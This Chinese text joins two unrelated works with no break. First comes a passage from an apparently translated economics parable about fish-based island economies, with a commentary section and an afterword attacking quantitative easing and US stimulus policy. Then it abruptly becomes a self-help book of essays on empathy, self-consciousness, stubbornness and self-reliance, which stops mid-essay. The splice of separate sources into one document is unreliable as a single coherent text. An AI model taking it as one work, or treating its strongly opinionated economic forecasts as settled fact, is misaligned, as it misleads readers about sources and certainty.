　　尽管长期实施量化宽松政策为股票市场带来诸多益处，也重新造就了房屋市场的繁荣，但这一政策对真正的经济发展却作用甚微。这就是为什么在股票与价格高涨的同时，失业率却始终居高不下，实际收入则陷入停滞。

　　美国最终付出的代价将是巨大的。到目前为止，美联储是国债与抵押债券最大的买家。只要这个债主停止购买，两个市场中必有一个会受到严重破坏。这种依赖情形意味着美联储一定不能破产。这也是为什么关于美联储“退出策略”的预测，会让步于手段更为温和的量化宽松“递减”策略。就连那些警告也逐渐温和起来。他们能做的所有事情，就是尽力迷惑市场，使其相信将会有真正的“退出策略”。最终他们的蒙蔽能力也会走到尽头。

　　真正的问题在于，当最后关头来临时，美国会有更多的债务要应对。美国的经济对于量化宽松已黔驴技穷，剩下的只有债台高筑的困境。

　　今天的经济学家需要看清量化宽松的真正面目：它是延长经济衰退的办法，而不是促进经济复兴的良方。经过多年的失败，他们需要试试新方法。

第十九章：无鱼不起浪

　　大洋彼岸，中岛帝国人对美索尼亚国参议员的计划却没有那么热心。工人们听说又要拿出很多真鱼购买鱼邦储备券，社会发生了一些动荡。

　　辛辛苦苦地工作，收入却很少，这让大多数中岛帝国人感到沮丧。因为他们的政府不能提供像美索尼亚国那样的社会保障系统，中岛帝国人通常都会存很多钱，这样才不至于无家可归或者老无所依。人人卖力工作，没人家里有驴子（更别说驴车了），而且几乎没人冲浪。即便他们去冲浪，也是四五个人共用一块冲浪板。

　　中岛帝国的国王也对现在的安排失去了兴趣，他对奥库达宣布的巨大的消费计划尤为不满。国王的顾问（多数都是阿里·格林芬的学生）开始担心如果中岛帝国停止购买鱼邦储备券，那么本国现有的储备就会贬值。这样一来，美索尼亚人就不会再向他们购买这么多货物了。

　　他们声称，如果没有美索尼亚国强劲的需求，中岛帝国的出口企业就会倒闭，继而出现失业、社会不满甚至抗议运动（在中岛帝国，抗议是不被允许的）。国王进退两难，只好维持现状，期盼出现转机。

　　一天，国王陷入沉思，他的经济顾问们也外出调研去了，一个普通的农民溜进了王宫，向忧心忡忡的国王进言。

　　“陛下，请恕我冒昧，但我听说您正被鱼的问题所困扰。也许我能帮上忙。”

　　“这是涉及贸易、储蓄、投资和计划的大问题。你能知道些什么？”国王大发雷霆。

　　“我的确所知甚少。”农民让步说，“但是我知道，在我的村子里人们除了木碗一无所有，我们就靠出口木碗为生。我们用木碗换来纸币，存起来养老。我们希望以后能用纸币买些东西，可惜现在已经没什么可买的了。我们出口木碗，但是我们自己却用不上木碗。我们还是把鱼放在地上吃，很不卫生。我们为什么不自己造碗自己用呢，这不是更简单吗？这样一来，我们就可以通过自己的劳动提高自己的生活水平。”

　　“荒谬。”国王说，“不出口产品，人民会饿死的。我们还怎么搞经济建设？”

　　“陛下，正如我所说的，我们善于做碗。在您的英明领导下，我们现在能捕获很多鱼，我们要做的就是在国内找到愿意用鱼换碗的人。这样一来，我们的产能就能在国内消化掉，人民会有更多的碗、更多的食物。”

　　国王有些疑惑不解：“等一下，美索尼亚国比我们富有得多。我们的购买力怎么能比得上他们呢？他们能支付更高的价钱，他们有鱼邦储备券。”

　　“陛下，恕我愚昧，但是我看不出来我们为什么需要他们的钞票。没有我们的鱼和碗，那些钞票就没有价值。我们能制造产品，同样也能买得起它们。我们只需要不再把好处白白送人。”

　　不知何故，农民简单的话语居然给国王留下了深刻的印象。国王决定改变政策，不再购买鱼邦储备券。从现在开始，中岛帝国人交易时只接受真鱼！

　　因为国王不太喜欢农民所提倡的那种迅速转变，他决定逐步转变。

　　中岛帝国原本该天天送来的鱼来得越来越慢，情况发生了变化。

　　鱼邦储备券最大的买主中岛帝国减少购买量以后，鱼邦储备券供给过剩。供大于求时，价格就会下跌。鱼邦储备券持续贬值，没人愿意继续持有它。小鼓岛和狂舞岛也和中岛帝国一道，限制购买鱼邦储备券。卖主多，买主少，鱼邦储备券掉入了万丈深渊。

　　手里攥着大把大把不断贬值的钞票卖不出去，中岛帝国国王认识到事态的发展已经超出了他的掌控。他明白中岛帝国持有的鱼邦储备券很快就会一文不值，他告诫自己的子民咬紧牙关挺过这一关。在一次大会上，他向他们保证短期的痛苦很快就会换来长期的收益。

　　不出所料，中岛帝国储备的鱼邦储备券变成了一堆废纸。很多企业倒闭，经济陷入混乱。不过，正如那位农民所预见的那样，其他的企业很快就发展起来，利用闲置的产能制造中岛帝国人真正需要的东西。

　　和往常一样，中岛帝国人仍旧捕鱼、制造产品并继续储蓄，由于这些都是促进经济增长的重要因素，因此中岛帝国没有陷入经济危机。实际上，很多产品在国内销售，国人的储蓄也都存在国内的银行里，中岛帝国的生活水平开始稳步提高。当地的工厂利用以前用于购买鱼邦储备券的储蓄购置设备以满足国内需求。为国内消费者生产的产品更多了，中岛帝国的商店里一下子摆满了商品，库存增多导致物价下跌。

　　正如那位农民所预料的，虽然损失了大把大把注定贬值的鱼邦储备券，但中岛帝国蓬勃发展起来。

　　视线回到美索尼亚国，事态的发展方向恰恰相反。目前只有很小型的捕鱼器还能用，银行的技师工作起来比以前更加拼命也更加有创意。官鱼的尺寸严重缩水，通鱼膨胀也卷土重来。

　　很快，官鱼就小得需要把 50 条或者 100 条捆成一捆。岛民每天需要吃 200 条鱼才能充饥。任何鱼邦储备券形式的存款都变得几乎一文不值。这就是所谓的恶性通鱼膨胀。

　　由于进口的中岛帝国产品越来越少，美索尼亚国零售商的库存都在减少。钞票贬值，商品稀缺，物价飞涨。

　　在一场混乱的公众宣传运动中，参议员们指责零售商“哄抬物价”。他们宣称，只要贪婪的商人同意由政府掌控产品和服务的价格，通鱼膨胀就会结束。但是，这些措施治标不治本，反而弄巧成拙。政府仅仅限制产品的售价，而且任由货币贬值，使得厂家和零售商都无利可图。因此，它们停止了交易，一个黑市产生了，那里的售价比法律规定的要高。

　　岛上居民感觉到鱼邦储备券出了问题，纷纷把剩下的积蓄存入海外银行保值，以免受参议院的剥削。

　　但是，参议员们注意到了这个趋势，制定法律禁止向海外转移存款。

　　所有人都害怕鱼缩水，因此根本没有人长期把鱼存在银行里。鱼捕上来，马上就被吃掉。就和经济发展之前一样，岛上没了储蓄，没了信贷，也没了投资。

　　参议员们也没想出什么好主意，他们又故技重施——研究起了下一个刺激计划。显然，以前刺激经济的举措都太微不足道了，下一轮刺激计划一定要更加庞大！然而，没人清楚用什么刺激经济。正当他们情绪低落时，远方出现了中岛帝国的货船，大家的心情一下子好了起来。

　　参议员们高兴坏了。他们向岛民保证说，中岛帝国人一定是认识到了自己的错误，后悔放弃了鱼邦储备券。现在，他们会再次把钱存入鱼邦储备银行。

　　然而，中岛帝国的货船靠岸后，发生的情况恰恰相反。

　　中岛帝国代表分头行动，推着满载着真鱼和鱼邦储备券的独轮手推车，分散到美索尼亚国的各个角落。他们见到东西就买下来，甚至是那些已经订购出去的货物。因为美索尼亚国已经没人拥有真鱼了，所以中岛帝国人的购买力比任何美索尼亚人都要强。

　　他们买下并分解了自来水系统设备，装到货船上。对于灯塔，他们也如法炮制。他们买走了所有的驴车、冲浪板、渔网、二手小鼓，甚至连巨型捕鱼器也没有放过。此外，他们还将闲置的公寓抢购一空，这样一来，中岛帝国的工人就拥有自己的度假棚屋了。

　　中岛帝国人进行一番疯狂购物之后就离开了，他们带走了所有值钱的东西，留下了他们积攒多年的鱼邦储备券。至少，这回美索尼亚人生火做饭有柴火烧了，不过能不能找到东西吃就是另一回事了。

　　参议员们研究了这个灾难性的结果，他们不明白究竟是哪里出了问题。他们促进了消费，可是为什么经济就是不增长呢？最后他们明白了。其实问题比他们想象的要简单得多。

　　面对急于知道答案的人们，奥库达说出了一个政治家所能想到的最真诚的话：“还有谁知道怎么制作渔网吗？我想我们应该自己捕鱼了。”

现实链接

　　纵观历史，政府总是因为入不敷出而陷入困境。一旦这个差距扩大到一定程度，政府就要面临艰难的选择。

　　选项一，政府通过提高税收增加收入。这条路从来不受人民的欢迎，在一个民主国家中很难通过。即便在集权主义国家（那里没有烦人的选举），增加税收也会带来很多问题。高税率总是会抑制生产，降低经济活力。税率是有上限的。税率过高，人们就会停止工作。如果继续提高，就有可能发生暴乱。

　　削减政府支出这个选项要好得多。然而，这样做往往比提高税收更困难。利益受损的人可能会投反对票，或者到街上闹事，那些认为自己理应获得利益的人尤为明显。政客们为了赢得选举做出无数承诺，而选民们也从来不考虑纳税人能否为这些承诺埋单。

　　为了避免这两种在政治上不受欢迎的选择，一些政府选择拒绝还债。也就是直接告诉债权人，我们不能全额偿还。如果债权人都是外国人，这就是个很容易做出的选择。从政治上来说，与其增加税收并剥夺国人的利益，还不如失信于外国人。

　　对于政治领袖来说，拒不还债当然令人难堪，因为这相当于正式承认自己没有偿付能力。为了避免这一窘境，很多政客索性选择印刷钞票，引起通货膨胀，使债务贬值，等于换一种方式偿还债务。通货膨胀一向是最容易做出的选择，通常也是最后的选择。然而，选择这一方案虽然开始时好像很容易，最终却要付出最惨痛的代价。

　　政府可以利用通货膨胀避免艰难的抉择，还可以神不知鬼不觉地赖掉债务。政府可以通过加印钞票在名义上偿还债务，但是这样做的代价是本国货币的贬值。债权人收回了债务，可是却不值多少钱，如果碰上恶性通货膨胀，则会血本无归。

　　通货膨胀不过是把财富从以某种货币储蓄的人手中转移到以同种货币负债的人那里。如果遇到恶性通货膨胀，存款就会变得一文不值，负债却一笔勾销。（拥有固定资产的人情况会好一些，因为与以货币形式储蓄不同，固定资产的账面价值会暴涨。）这样的事情以前发生过不止一次：18 世纪 90 年代的法国，19 世纪 60 年代的美国南部邦联，20 世纪 20 年代的德国，20 世纪 40 年代的匈牙利，20 世纪七八十年代的阿根廷和巴西以及现在的津巴布韦。在所有的这些例子中，引发恶性通货膨胀以及随后的经济灾难的原因都惊人地相似。这些国家都是通过降低货币价值偿还巨额外债，结果，本国的人民陷入了赤贫之中。

　　现在的美国如果发生恶性通货膨胀，它必将成为有史以来“获此殊荣”的最大最发达的经济体。但是，这并不意味着这种情况不会发生。到目前为止，美元的储备货币地位一直是美国手中的王牌。也就是说，哪怕基本面再差，世界各国还是会接受美元。然而，一旦失去储备货币地位，美元的下场就会和其他已经崩溃的货币一样。

　　美国必须正视这些可能性，并在能够掌控自己的命运之前，及时悬崖勒马。

后记

　　故事中，美索尼亚国的结局惨淡，但美国这个超级大国却未必是同样的命运。不幸的是，美国的领导人依旧推行消费计划，而且数额更加庞大，实际上正是类似的政策引起了金融危机。他们越是执迷不悟，最后的结局就越悲惨。

　　虽然用政府经济刺激计划应对资本主义的失败这一想法是凯恩斯首创的，但是直到艾伦·格林斯潘、乔治·布什、本·伯南克和巴拉克·奥巴马登上历史舞台以后，这一思想才开始成为体系。2002 年以前，我们从未见过如此庞大的联邦赤字（现在每年都超过 1.5 万亿美元），如此大规模地实行超低利率和操控信贷市场也是前所未有的。

　　虽然错误如此明显，但美国还是一错再错。

　　早在 2002 年，也就是充斥着大量不当投资的互联网经济时期，数百亿美元的资金涌入了毫无前途的公司，那时经济本来应该进入一个长期的衰退时期。但是新当选的乔治·布什不希望糟糕的经济环境影响他连任。所以，他和顾问们选择了凯恩斯主义的解决办法，政府支出和宽松信贷都达到了前所未有的规模。

　　因此，2002~2003 年的这场经济危机是历史上最轻微的一次。但是，它的代价却是长期的沉重负担。这场危机结束时，美国经济失衡的现象比以前严重得多。按理说，这种情况本来不该出现。

　　我们期待实实在在的经济增长，结果却吹起了一个更大的资产泡沫（房市泡沫），只是暂时缓解了互联网泡沫破裂后的压力。不断上涨的房价带来了很多“好处”，于是人们就误以为那是经济健康的明证。但是，正如我们所看到的，所谓的强劲势头不过是海市蜃楼。

　　6 年后，下一次危机发生了，但美国仍然没能从这些错误中学到任何东西，这才是真正的悲剧。政客和经济学家们不仅误判了 2008 年经济危机的起因，还开出了错误的药方，这些错误是很危险的。

　　金融危机发生数月以来，大家一致认为是因为缺乏足够的监管才会酿成苦果，在很大程度上忽视了政府和美联储的责任。结果，不该来的（财政支出和限制性规定）越来越多，该来的（储蓄和自由企业）越来越少。

　　华尔街的领袖们也很不负责任。大银行在经济繁荣的那几年赚取了惊人的利润，危机来临之后，它们本应该付出更大的代价。但是银行家的这些手段都是政府授意的。美国的领导人很不理智地鼓励购房，抑制储蓄，还很不理智地鼓励借贷。这些因素共同作用，破坏了市场。

　　美联储、联邦住房管理局、房利美、房地美（它们一直都是伪装下的政府机构）以及其他一些机构制定了许多政策。这些政策有利于房屋买卖，消除了制约信贷发放的因素。其结果就是形成了一个信贷和房地产泡沫，一个在破裂之前只能继续膨胀的泡沫。

　　人为造成的低利率（使经济显得很健康）激活了可调利率的按揭贷款市场，还催生了诱惑利率。诱惑利率使原本高不可攀的房子显得唾手可得。艾伦·格林斯潘本人也积极鼓励购房者参与进来。政府机构和政府资助的机构仅仅根据借款人偿付诱惑利率的能力就为其担保，从而进一步加剧了问题。没有它们的担保，大部分按揭贷款银行都不会提供贷款。

　　正如自由市场中的物价是由供求关系决定的，金融市场和房地产市场是由贪欲和担忧这一组对立的情感所支配的。然而，美国政府竭尽所能试图将担忧从这一等式中抹去。

　　因此，在 2008 年年初市场的力量正要戳破信贷和房产泡沫的时候，美国政府插手进来继续吹大这两个泡沫。美国政府先是援助贝尔斯登和美国国际集团，并为高盛和美国银行等华尔街公司担保。然后美国财政部推出了价值 7 000 亿美元的问题资产救助计划，购买私营部门不愿投入的住房抵押贷款资产。后来，美国政府又救助了为学生提供贷款的沙利美，并基本上接手了整个助学贷款市场。紧接着又救助了底特律的汽车生产商。

　　本应倒闭的公司又在政府的支持下站了起来，本应解放出来的资金和劳动力被困在了无效的经济活动中，无法发挥更高的经济效益。

　　房市泡沫破裂以后，消费者无法再那么轻松地赚钱，于是理智地停止了消费。作为应对，美国政府推出了 7 000 亿美元的巨额刺激计划。美国政府的这笔开销，是向美国民众的后代借来的。靠着这笔钱，现在的美国人不用去过量入为出的拮据生活。

　　美国政府拒绝顺应市场的力量，不允许严格控制过度消费，不允许错误投资变现，不允许补充已经枯竭了的储蓄，不允许为资本投资提供资金，不允许帮助工人从服务业转移到制造业。如此一来，美国政府实际上是拒绝了良药，加重了病情。在此过程中，美国把各种各样的债务都转化成了政府债务，并且吹起了另一个泡沫，这次的主角是美国国债。

　　一旦这一药方没能使经济成功复苏，美联储便立刻调制出药效更强的药汤，那就是量化宽松。第一套方案（QE1）推出后，紧跟着便是第二套方案（QE2）、“扭曲操作”以及第三套方案（QE3），其中第三套方案就是当时人们所知的“无限量化宽松”政策。也就是说，如果一开始你没有成功，就原样重复一遍。如果还是不管用那就再做一遍，只不过动作幅度更大。如果你觉得这种描述让你感觉神经错乱，我想说，你的感觉没错！

　　不幸的是，这个新泡沫可能会比以往的资产泡沫都要大。这个泡沫终将破裂，必将引起物价和利率飞涨，其破坏力会比互联网泡沫和房地产泡沫加起来的威力还要大。

　　现在悬崖勒马还为时不晚。美国需要能勇敢地向选民坦白的领导人，也需要能够为经济复兴付出辛劳的选民。

　　多年以来，美国人一直入不敷出，现在他们必须下决心过量入为出的生活。如果能够做到这一点，并任由自由市场的力量发挥作用，他们就能重新平衡经济，为实实在在的发展打下基础。

　　然而，如果他们选择寄希望于借贷、印钞机以及政府承诺的毫无痛苦的解决办法，那他们都要回到徒手捕鱼的状态。

不要用别人的脑子思考你的人生

别抱太多期望，哪有什么感同身受

　　生活似乎总是不遂人愿，我们一路成长，一路失去。我们总是希望有个人出现，能知你、懂你，在你痛苦时给你安慰，迷茫时给你扶持。可众生皆苦，你有你的烦恼，别人也有别人的烦恼，即使是最亲近的人，也无法做到与你感同身受。

　　晓欣和芳芳是 10 多年的闺密，从刚进高中就是一对知心姐妹。后来一起上大学，一起回到家乡工作，一起找男朋友，又一起出嫁。她们都打心眼里觉得，对方就是自己没有血缘关系的亲密姐妹，直到芳芳家发生了一次大变故。

　　芳芳母亲由于沾染赌博而债台高筑，父亲卖房卖车承担了一部分债务之后，便与芳芳母亲办理了离婚手续。但芳芳母亲并不知感恩，反而四处散播谣言说芳芳父亲在外面有了小三才会甩掉自己，而且夫妻之间一起承担债务是天经地义，要不是芳芳父亲对她不忠诚，她也不至于出去赌博寻求安慰，还说芳芳一点都不听话，联合父亲折磨自己，刻意隐瞒父亲的外遇……各种各样扭曲事实的说法从芳芳母亲口中传出，闹得满城风雨。

　　那时芳芳正在为国家公务员考试做准备，顶着巨大压力在笔试、面试中都拿到第一名，却在最后一关被淘汰了，已经到了谈婚论嫁地步的男友也因为家中极力反对，与芳芳分手。芳芳的生活一下子陷入无比艰难的境地。

　　熬过那段日子以后，芳芳靠着自己的能力让生活有了一点起色。这时，母亲找上门来，要求芳芳替自己还债。芳芳心中无法原谅母亲，再加上债务数额巨大，她可能穷尽一生都还不完，于是拒绝了母亲的要求。

　　没想到，这件事被晓欣知道了。晓欣给芳芳打电话，痛斥她为人子女却如此不孝，和她父亲一样无情无义，儿女给母亲还债是天经地义，否则不配为人。芳芳十分震惊，这还是自己那个相处了 10 多年的闺密吗？自己经历的所有苦难，被母亲毁掉的前途，晓欣都亲眼所见，她不仅不帮自己说话，还斥责自己做得不对，难道要为母亲的债务赔上一辈子才叫作孝顺吗？更何况这些年来，除了还债，母亲的生活所需，芳芳都有求必应，怎么就被安上了不孝的罪名呢？

　　芳芳既愤怒又心寒，一直亲如姐妹的闺密原来也不过如此。芳芳备受打击，与晓欣断了联系。

　　多年以后，两人在同学聚会上碰面。经过岁月的洗礼，芳芳和晓欣都成熟了不少，谈起当年的事，晓欣道出了真正的原因。

　　原来农村家庭出身的晓欣，从认识芳芳第一天起，就一直羡慕她的家境。晓欣省了又省才能买得起的牛仔裤在芳芳眼里，是极为稀松平常的。芳芳的父母给了她无忧无虑的生活条件，她就该一辈子感恩父母，一辈子无条件地为父母付出。

　　芳芳苦笑，她的家境确实比晓欣好一些，但远非晓欣想象的那样富足，顶多算是高于温饱线一点的家庭。芳芳也有过父母工资不够用，吃饭没有肉的日子；也有过没有运动鞋，在夏天只能穿凉鞋上体育课的日子；也有过零用钱太少，看着同学吃零食而自己只能咽口水的日子。

　　但芳芳没再开口解释，因为她明白了一个道理：这个世界上不存在感同身受。自己此刻想要解释的心情，不过是因为对晓欣还抱有期待。但是，就像晓欣无法理解她为什么要拒绝为母亲还债一样，她也无法理解晓欣对物质的渴望。

　　芳芳闭上了嘴，抱了抱晓欣，然后转身走了。这一对做了 10 多年闺密的人在这一次告别之后，就再也没有联系过。

　　这个令人悲伤而遗憾的结局，其实从一开始就是注定了的。正因为芳芳和晓欣亲如姐妹，在对方身上抱有巨大的期待，矛盾爆发时才会责怪对方不能与自己感同身受。但事实上，不只是闺密，父母子女之间、夫妻之间也时常出现误解，无法做到真正的感同身受。

　　所以请收起脆弱的心，不要再期待别人与你感同身受，能够做到换位思考就很不错了。人生不易，每个人都有自己的幸与不幸，站在自己的立场指责别人的不理解，本身就是一场错误的道德绑架，更何况所处的圈子不同，成长环境也不一样。你的痛苦，也许在别人看来只是一场无病呻吟。所以在你痛苦、迷茫、悲伤、无助的时候，有人能给你拥抱，给你温暖，愿意放下手头的事情听你倾诉，就已经是人生一大幸事，何必在意对方是否能够感同身受呢？

其实，大多数人并不在意你

　　大概很多人都有过这样一种错觉，只要走进人群中，就觉得自己成了所有人关注的焦点，一举一动都备受瞩目，生怕哪里出错，惹人笑话。但其实并非如此，在日常生活中，某方面特别出众的人不一定受到大多数人的关注，更不用说不经意间出现的小纰漏，可能最多也就是博人一笑，大家转过头就忘了。

　　A 君是一个在各方面都谨小慎微的人，用他的话来说，就是凡事不可出格，出格必招嫌。某天下大雨，A 君忘了带雨伞，眼看着同事们都纷纷下班回家，雨却越下越大，根本没有要停的意思。A 君实在坐不住了，左思右想，决定冒雨回家。

　　A 君在公司门口等了一会儿，确定不会遇到熟人后，就大胆地卷起裤腿，脱下西装外套顶在头上，冲进雨中，奔跑起来。没想到，这一幕被刚好开车经过的副总经理看到，副总经理觉得公司应该准备一些一次性雨衣，为遇到骤雨天气时没带雨伞的员工提供一些便利，便给行政部下达命令，让行政部迅速采购。

　　A 君得知此事后日夜不安，自责不已。他怪自己没有考虑周全就做出“出格”之事，害行政部的同事平白无故多了一桩差事。

　　A 君纠结了一天，想了又想，花了很长时间编辑了一条微信发给行政部的同事：他先检讨自己不该忘记带雨伞，又为自己冒雨奔跑的不雅行为郑重道歉，最后保证以后一定会做好本职工作，不再给同事添麻烦。洋洋洒洒的几百字，结果，行政部的同事只简单回了一句话：为同事服务是行政部的职责，无须致歉。A 君并没有因此安心，反而觉得，自己发了一大段话对方却只回了一句，同事一定只是在和自己客套，事实上已经生气了。

　　于是 A 君锲而不舍地又发过去几百字，解释自己为何没有按时下班，为何没有带雨伞，并再次道歉。

　　同事久久没有回复，A 君坐立不安，开始胡思乱想：该不会是在讨论我的问题，不好回复吧？我刚才说的都是实事求是，没有一点夸张，他们不能不相信啊！即便我确实增加了他们的工作，但同事一场，平时我对他们都不错，他们该不会因此就排斥我吧？越想越不对劲，A 君决定去行政部看看。

　　结果行政部大门紧闭，所有人都在开会。这下 A 君更紧张了：该不会是开会讨论怎么处理我吧？这些莫名其妙的念头让 A 君完全失去了理智，他居然贴着门偷听了起来……

　　最终，A 君被抓了个现行，副总经理亲自找他谈话，一问前因后果，原来当天行政部同事之所以信息回复短，是因为当时手头正忙，而开会是为了讨论第二天的一场重要会议，从头到尾都与 A 君没有任何关系，而 A 君却因为想太多而徒增了许多麻烦。

　　最后，副总经理丢给 A 君一句话：无论好坏，别人没有你想的那么在意你。

　　不得不承认，很多人都犯过 A 君这样的错误。由于内心深处太在意别人对自己的看法，以至于把自己看得太重，而误以为别人也会把自己看得很重，什么事情都围绕自己转，无论好坏，仿佛自己永远处在事情的中心。

　　然而事实是，生活节奏越来越快，大家都很忙，关注自己的时间都不够，谁会那么在意你呢？

　　有句话是这么说的：20 岁时的人，会顾虑旁人对自己的看法；40 岁时的人，已经不理会别人对自己的看法；60 岁时的人，发现别人根本就没有想到过自己。

　　所以，活得洒脱一点吧！偶尔在公众面前出了丑，也不必那么沮丧和懊恼，博人一笑不是什么坏事，没人会在转头之后还记得你的糗事；偶尔犯个小错误，立即改正就好，没人愿意花精力拿这件事来嘲讽你；偶尔失败一次，不用解释太多，对你来说很重要的事或许对别人来说只是可有可无。

　　毕竟每个人对自己问题的在意程度，要远远超过他人，否则那些经纪公司和广告公司，用得着花那么多心思让大众记住某个艺人和某部电影吗？

　　所以，放轻松一点，大多数人并没有你想的那么在意你。

认知水平越低的人越固执

　　朋友从悉尼回国的时候，一个男性朋友问她：“悉尼是澳大利亚的首都吗？”朋友说：“不是的，澳大利亚的首都是堪培拉。”

　　男性朋友大概有些羞愧，他辩解说：“在国内，大家都会这样认为。”

　　朋友问男性朋友：“你为什么会认为大家都这样认为啊？”

　　男性朋友说：“反正我觉得就应该是这样的。”

　　朋友一直试图向男生解释澳大利亚的首都是堪培拉这件事，但是他始终固执地认为应该是悉尼。

　　就这样，他们的这次聊天不欢而散。

　　一个上网搜索一下就能明白的问题，这个男生却不愿意做，他只相信自己愿意相信的。这个男生缺乏常识，造成他缺乏常识的原因是他的固执和偏见。他不愿意打破自己既定的认知，想法单一。

　　人越缺乏判断力，就会表现得越固执。在现实生活中，你会发现，越是这样的人，你就越难以和他们沟通。

　　很多人在想帮助别人时，可能会遇到这样的情况——当你把成功的底层逻辑告诉他，甚至从各个角度帮他分析问题，提出中肯的建议时，他怎么都听不进去，非但听不进去，他可能还有自己的一套理论，认为自己看到的才是真相。

　　最常见的就是，一个因为爱情要死要活的女孩深陷感情骗局，外人一看就知道对方在骗她，但女孩固执地认为对方是自己的真爱，受伤时就寻求朋友的帮助，一旦男孩对她再次示好，她就马上回头投入他的怀抱。

　　再比如，你不厌其烦地让一个正在上大学的朋友少打游戏，多学点有用的知识，实在不行，可以看看外面的世界，多增长一下见识，对自己的事业、人生格局的提升都有帮助。但是朋友却认为文化、知识都没有用，遇到事情还是得靠金钱、关系、运气。你所有的建议都无法进入他的大脑，因为在他固有的认知里，他总会固执地寻找理由，固执地放弃努力。

　　前一段时间，我与父母交流工作上的一件事。他们说：“你每天早上一定要早起，然后提前把领导的办公室打扫干净。”

　　我说：“现在办公区有专门的保洁阿姨，我去做这件事，不是抢了别人的饭碗吗？而且，不同的人擅长的事情也不一样，我并不擅长打扫，我擅长的是其他业务。”

　　当我告诉他们这个事实时，他们却固执地认为，是因为我太懒，早上起不早，所以才找了这么多理由。

　　当我把现代企业分工明确的事实说给他们听时，他们仍然固执地认为，早上把领导的办公室打扫干净会体现一个人的品格。无论我怎么摆事实，他们都认定我不做这件事就是因为懒。

　　我说得口干舌燥、气愤难当，甚至有把电话摔掉的冲动。

　　冷静下来之后，我便想：父母为什么这么固执地认为，多做这些我不擅长的、额外的事情，会让我获得领导的好感呢？

　　可能很大的原因就在于他们的认知。他们认为，工资的提升并不看业绩，而是看领导对你的喜欢程度。当我试图用我在公司里获得的认知给他们解释时，他们拒绝接受，始终拘囿在他们固化的认识里，任你怎么证明，他们都不改变自己的看法，因为他们认定自己经验里的那一套理论才是真理。

　　虽然这个世界已经变化了，他们却还活在旧的思维里。他们的世界是单一的，只有一种道理，完全不考虑这个世界的变化。

　　当一个人向下包容时，常常会出现这种情况。其实，“理解”只是一个结果，而并非过程。一个人的认知水平越低，其想法就越单一，越缺乏判断力，人就会表现得越固执。当人能理解他人的想法，并尊重这个世界的多样性时，他就不会表现出这样的固执。因为他知道，这个世界有和自己不一样的人。

　　这样的“固执”，其实是“顽固”，而不是“执着”。

　　这种顽固并不能说明一个人坚持原则，而是表明一个人无法面对真实，无法面对不同意见。

　　他们非但不能面对真实的世界和不同的观点，还会在你把这种真实的不同摆在他们面前时，表现得异常地敏感，一旦你打破他们狭隘的边界，试图让他们看见更广阔的世界时，就会遭到他们的抵制、反对和攻击。

　　它甚至会演变成过分的偏执、执拗，这时就很难再进步、再成长。

　　一个真正优秀的人，是愿意向别人、向这个世界学习的人。因为他们认识到，固执己见并不是一种优势，从某种程度上而言，太固执己见会妨碍自己的成长，妨碍自己认识更广阔的世界。

　　很多时候，恰恰是因为太过固执，阻碍了一个人良好个性的形成。太过固执往往会使人越来越偏激，越来越狭隘，越来越自闭。一个人缺少对世界多样性的包容和透析这个世界底层逻辑的认知，会抑制自己学习、思考和接受新鲜事物的能力。

　　美国心理学家乔治·凯利曾经提出“个人构念论”的观点。他说，一个人的构念是由个人过往的见识、期望、评价、思维等形成的观念。

　　是的，学习的过程其实是构建一个个模型的过程，将自己曾经看到过的东西，慢慢放置在我们的大脑中。当我们构建出来的模型越来越多时，我们处理同类事情就会越来越迅速，认知疆域也会越来越辽阔。

　　而当一个人认知能力低下，固执己见时，脑海里的个人构念就会趋向于单一，缺乏弹性。因为固执己见，他们的脑海中长期接触和构建的模型也只能是单一模型，在面对这个复杂的世界时，他们因为接受不了这种真实，反而会用他们固执和单一的认知去否定这种真实。

　　因为他们在漫长的人生里，并没有打开过更广阔的世界。

　　其实，只有那些有勇气见识到更广阔世界的人，才能拥有更深刻的认知和更加完善的交流能力。一个人只有获得越来越多的知识和经验，个人构念才会越丰富、饱满。

　　当下的世界是复杂的、多元的，我们无法用单一的答案去解决复杂的问题。面对同样的问题，我们不应执着于一种答案，而更应该去考虑多种途径，从中挑选出最优答案。

　　最简单的就是，当我们选择工作时，不应光看工作带来的单一价值，还应看工作能给我们带来什么样的晋升机会，以及从中我们能学到多少东西。

　　因为我们接触的世界更广阔，我们能从这个更广阔的世界了解到的东西也就更多，我们能发现的未知领域也就更多。

　　这就是为什么当一个人知道得越多时，越觉得自己无知。

　　当你的认知水平更高时，看到的世界也就更广阔，你无法再被拘囿在井底，只看到洞口那样大小的天空。你会跳出来，看到那个更广阔的世界。

　　所以，当我们越认为自己的观点没有问题的时候，就越应该警惕，或许我们只是局限在自己的固执里不自知而已。

喜欢另一个人之前，你应该先喜欢自己一个人

　　有件事常常让我感到困惑，明明自己的恋爱经历寥寥无几，绝大部分时间都是一个人，但身边的同事、朋友却总把我当作情感专家，遇到问题总喜欢找我倾诉一番。看着一个个愁肠百结的女孩，拒绝的话自然说不出口，只得搜肠刮肚地寻找语言来宽慰别人，一回生，二回熟，我倒也琢磨出了一些门道。

　　学妹大学毕业后留在北京，一个人打拼，生活很寂寞。正在这时候，一个男人闯入了学妹的视野。男人各方面的条件都很好，学妹一下子就陷入情网，二人在相识几个月后便开始了同居生活。

　　然而，不久之后，两人之间的隔阂很快就显现出来。他们的性格差异很大，学历、家庭背景、社会经历也都有着不小的差异。学妹不会做饭，也不懂得妥善处理和男朋友父母的关系。两人在一起生活的短暂时光里矛盾频发，最终分手了。

　　我问学妹她希望自己的男朋友是什么样的人，她说希望对方体贴、包容、能帮她分担压力、懂事、不要给她添麻烦。我告诉她，男人也是这么想的，在一段关系中，如果有一方不成熟，那另一方就会感到很累，时间久了，自然就想逃走。学妹沉思良久，听懂了我的话。

　　喜欢另一个人之前，先喜欢自己一个人。一个人生活，一个人修炼，一个人成长，让自己变得独立，这样你就不需要太依赖对方，让对方感觉太累。让自己变得成熟，这样才有足够的智慧去应对生活中的矛盾；让自己变得坚强，这样你就不会在遇到挫折时手足无措。

　　如果你一个人都过不好，千万不要喜欢别人。不要幻想别人能把你带出泥潭，谁也没有义务来当你的救世主。要过好一个人的生活，这样万一有一天分手了，你一个人依然可以过得很好。

　　学会享受一个人的生活，并把它过得多姿多彩。如果你都不喜欢自己的生活，别人怎么可能会喜欢你呢？张开眼睛发现生活中的美，你会感到，一个人的生活并不可怕。

　　一个人的生活可以丰富多彩，你不用考虑对方的口味，想吃辣的就吃辣的，想吃甜的就吃甜的；你不用担心周末的安排跟对方有冲突，想去逛公园就逛公园，想去看电影就去看电影。最重要的是，在一个人的世界里，你可以静下心来学习，提高自己。

